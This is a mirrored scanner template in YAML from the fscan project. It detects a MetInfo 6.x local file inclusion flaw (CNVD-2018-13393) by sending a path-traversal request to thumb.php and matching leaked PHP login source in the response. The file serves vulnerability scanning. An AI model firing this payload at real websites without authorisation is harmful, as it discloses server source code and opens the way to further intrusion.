mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-11-05 02:26:48 +00:00
12 lines
414 B
YAML
12 lines
414 B
YAML
|
name: poc-yaml-metinfo-lfi-cnvd-2018-13393
|
||
|
|
rules:
|
||
|
|
- method: GET
|
||
|
|
path: /include/thumb.php?dir=http\..\admin\login\login_check.php
|
||
|
|
follow_redirects: true
|
||
|
|
expression: |
|
||
|
|
response.body.bcontains(b"<?php") && response.body.bcontains(b"login_met_cookie($metinfo_admin_name);")
|
||
|
|
detail:
|
||
|
|
author: JingLing(https://hackfun.org/)
|
||
|
|
metinfo_version: 6.0.0,6.1.0
|
||
|
|
links:
|
||
|
|
- https://paper.seebug.org/676/
|